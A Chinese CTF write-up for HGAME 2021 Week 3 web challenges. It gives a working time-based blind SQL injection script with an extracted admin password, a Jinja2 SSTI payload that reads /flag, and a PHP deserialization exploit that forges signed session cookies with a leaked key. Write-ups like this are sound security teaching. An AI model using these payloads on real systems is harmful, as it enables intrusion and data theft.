HGAME Week3 Web WP

发布于 2021-03-02  809 次阅读


1.Liki-Jail

题目进来是一个登陆框:

尝试登陆,结果发现有个弹窗:

抓个包:


因为是登陆框,这里尝试sql注入。fuzz测试之后,发现过滤了空格,单引号,双引号,当时想的是:如果真的是sql注入题,过滤了单双引号,首当其冲该考虑的应该是利用转义符转义掉后端代码里的单(双)引号,再利用or/and拼接进行盲注。这道题由于网页的界面不会变化,所以采用时间盲注。上脚本:

import requests
import time

url="https://jailbreak.liki.link/login.php"
result=""

for i in range(1,300):
    l=30
    r=130
    mid=(l+r)>>1
    while l<r:
        data={"username":"admin\\","password":"or/**/if(ascii(substr((select/**/group_concat(`p@ssword`)/**/from/**/week3sqli.u5ers),{},1))>{},sleep(2),1)#".format(i,mid)}
        start_time = time.time()
        html=requests.post(url,data=data)
        #print(html.text)
        print(data)
        if  time.time() - start_time > 2:
            l=mid+1
        else:
            r=mid
        mid=(l+r)>>1
    result+=chr(mid)
    print(result)


    #week3sqli.u5ers
    #usern@me,p@ssword
    #admin,sOme7hiNgseCretw4sHidd3n

这里还需要注意一点,'@'在mysql中属于保留字符,在注入时应当使用``括起来。

2.Forgetful

在题目描述提到了是用python写的,平平无奇ssti注入:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('/flag','r').read().split('game')[1]}}
{% endif %}
{% endfor %}

3.Arknights

题目描述里提到了git,想到git源码泄露,使用githack搞到网站源码

简单看了一下代码之后,发现在simulator.php的代码比较可疑

<?php

class Simulator{

    public $session;
    public $cardsPool;

    public function __construct(){

        $this->session = new Session();
        if(array_key_exists("session", $_COOKIE)){
            $this->session->extract($_COOKIE["session"]);
        }

        $this->cardsPool = new CardsPool("./pool.php");
        $this->cardsPool->init();
    }

    public function draw($count){
        $result = array();

        for($i=0; $i<$count; $i++){
            $card = $this->cardsPool->draw();

            if($card["stars"] == 6){
                $this->session->set('', $card["No"]);
            }

            $result[] = $card;
        }

        $this->session->save();

        return $result;
    }

    public function getLegendary(){
        $six = array();

        $data = $this->session->getAll();
        foreach ($data as $item) {
            $six[] = $this->cardsPool->cards[6][$item];
        }

        return $six;
    }
}

class CardsPool
{

    public $cards;
    private $file;

    public function __construct($filePath)
    {
        if (file_exists($filePath)) {
            $this->file = $filePath;
        } else {
            die("Cards pool file doesn't exist!");
        }
    }

    public function draw()
    {
        $rand = mt_rand(1, 100);
        $level = 0;

        if ($rand >= 1 && $rand <= 42) {
            $level = 3;
        } elseif ($rand >= 43 && $rand <= 90) {
            $level = 4;
        } elseif ($rand >= 91 && $rand <= 99) {
            $level = 5;
        } elseif ($rand == 100) {
            $level = 6;
        }

        $rand_key = array_rand($this->cards[$level]);

        return array(
            "stars" => $level,
            "No" => $rand_key,
            "card" => $this->cards[$level][$rand_key]
        );
    }

    public function init()
    {
        $this->cards = include($this->file);
    }

    public function __toString(){
        return file_get_contents($this->file);
    }
}


class Session{

    private $sessionData;

    const SECRET_KEY = "7tH1PKviC9ncELTA1fPysf6NYq7z7IA9";

    public function __construct(){}

    public function set($key, $value){
        if(empty($key)){
            $this->sessionData[] = $value;
        }else{
            $this->sessionData[$key] = $value;
        }
    }

    public function getAll(){
        return $this->sessionData;
    }


    public function save(){

        $serialized = serialize($this->sessionData);
        $sign = base64_encode(md5($serialized . self::SECRET_KEY));
        $value = base64_encode($serialized) . "." . $sign;

        setcookie("session",$value);
    }


    public function extract($session){

        $sess_array = explode(".", $session);
        $data = base64_decode($sess_array[0]);
        $sign = base64_decode($sess_array[1]);

        if($sign === md5($data . self::SECRET_KEY)){
            $this->sessionData = unserialize($data);
        }else{
            unset($this->sessionData);
            die("Go away! You hacker!");
        }
    }
}


class Eeeeeeevallllllll{
    public $msg="坏坏liki到此一游";

    public function __destruct()
    {
        echo $this->msg;
    }
}

简单的审一下代码,发现CardsPool这个类有一个属性名为$file的,且类中还有一个__tostring魔术方法,这个在php反序列化中常见的容易被利用的方法也提醒了我们这道题考的是反序列化的漏洞。

整体思路就是改变CardsPool中的$file为/flag.php再触发__tostring方法将flag输出。

这里总结一下__tostring的触发条件:

  • echo ($obj) / print($obj) 打印时会触发
  • 字符串连接时
  • 格式化字符串时
  • 与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
  • 格式化SQL语句,绑定参数时
  • 数组中有字符串时

总的来说就是当将对象当做字符串进行操作时,都会触发__tostring方法。

再返回开头,服务器会将我们的cookie部分进行签名验证之后再序列化。因为代码中提到了加密的密钥和方法,我们可以轻而易举的伪造签名。最后利用Eeeeeeevallllllll这个类中的echo函数触发__tostring魔术方法拿到签名。

具体实现代码如下:

<?php

class Simulator{

    public $session;
    public $cardsPool;

    public function __construct(){

        $this->session = new Session();
        if(array_key_exists("session", $_COOKIE)){
            $this->session->extract($_COOKIE["session"]);
        }

        $this->cardsPool = new CardsPool("./pool.php");
        $this->cardsPool->init();
    }
}

class CardsPool
{

    public $cards;
    private $file;

    public function __construct($filePath)
    {
	$this->file = $filePath;
    }

    public function __toString(){
        return file_get_contents($this->file);
    }
}


class Session{

    private $sessionData;

    const SECRET_KEY = "7tH1PKviC9ncELTA1fPysf6NYq7z7IA9";

    public function __construct(){}

}


class Eeeeeeevallllllll{
    public $msg="坏坏liki到此一游";

    public function __destruct()
    {
        echo $this->msg;
    }
}


$n = new Eeeeeeevallllllll();
$n->msg = new CardsPool("./flag.php");
$k = serialize($n);
$sign = base64_encode(md5($k . "7tH1PKviC9ncELTA1fPysf6NYq7z7IA9"));
$value = base64_encode($k) . "." . $sign;
echo $value;
?>

业精于勤,荒于嬉;行成于思,毁于随